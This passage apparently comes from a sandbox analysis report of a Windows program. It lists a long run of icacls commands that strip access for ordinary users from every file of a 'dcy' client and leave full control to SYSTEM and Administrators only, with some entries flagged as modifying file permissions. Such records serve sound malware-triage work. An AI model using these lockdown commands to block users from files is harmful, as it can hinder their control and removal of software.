        icacls "C:\dcy\Client\System.Threading.Timer.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1088
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Transactions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3344
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Transactions.Local.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4804
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.ValueTuple.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4660
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Web.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5452
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Web.HttpUtility.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6116
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.Controls.Ribbon.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5032
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5992
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.Extensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1160
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.Forms.Design.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5648
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.Forms.Design.Editors.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2324
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.Forms.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:756
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.Forms.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:216
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.Input.Manipulations.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3212
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Windows.Presentation.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5980
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xaml.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3800
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5836
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.Linq.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4736
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.ReaderWriter.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4084
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.Serialization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4332
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.XDocument.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4192
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.XmlDocument.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4544
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.XmlSerializer.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3080
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.XPath.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6128
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\System.Xml.XPath.XDocument.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4908
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\UIAutomationClient.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5952
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\UIAutomationClientSideProviders.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2328
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\UIAutomationProvider.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6040
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\UIAutomationTypes.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4764
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\vcruntime140_cor3.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6008
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Vortice.Direct3D11.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3648
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Vortice.DirectX.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3620
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Vortice.DXGI.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2256
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Vortice.Mathematics.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4592
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\websocket-sharp.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3084
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\WindowsBase.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3208
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\WindowsFormsIntegration.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4404
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\wpfgfx_cor3.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5840
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\af-ZA\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3064
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\af-ZA\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1888
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\agent-cache\dcy-agent.db" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:680
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\agent-cache\logs\client-error.log" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1780
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\agent-cache\logs\client-success.log" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3776
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\agent-cache\logs\service-crash.log" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4184
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\agent-cache\logs\service.log" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6032
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\am-ET\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2156
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\am-ET\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5348
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ar-SA\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:5752
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ar-SA\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5560
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\az-Latn-AZ\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4116
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\az-Latn-AZ\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4072
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\be-BY\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1560
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\be-BY\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:3504
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\bg-BG\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2220
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\bg-BG\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1940
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\bn-BD\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3528
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\bn-BD\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1416
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\bs-Latn-BA\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3468
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\bs-Latn-BA\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4788
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ca-ES\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3004
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ca-ES\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:552
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3516
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4320
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4928
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4240
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3500
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3932
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3308
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5508
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1800
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1828
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4540
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2920
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2404
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs\UIAutomationProvider.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1036
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs\UIAutomationTypes.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3600
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs\WindowsBase.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4304
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs\WindowsFormsIntegration.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1328
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs-CZ\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1636
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\cs-CZ\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4472
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\da-DK\ModernWpf.Controls.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4556
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\da-DK\ModernWpf.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5524
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de\Microsoft.VisualBasic.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4480
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de\PresentationCore.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1532
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de\PresentationFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5232
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de\PresentationUI.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4732
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de\ReachFramework.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2516
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de\System.Windows.Controls.Ribbon.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5488
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de\System.Windows.Forms.Design.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2504
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de\System.Windows.Forms.Primitives.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2656
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de\System.Windows.Forms.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5444
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de\System.Windows.Input.Manipulations.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4340
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de\System.Xaml.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1296
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de\UIAutomationClient.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2600
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\de\UIAutomationClientSideProviders.resources.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5932
      - C:\Windows\system32\icacls.exe
        
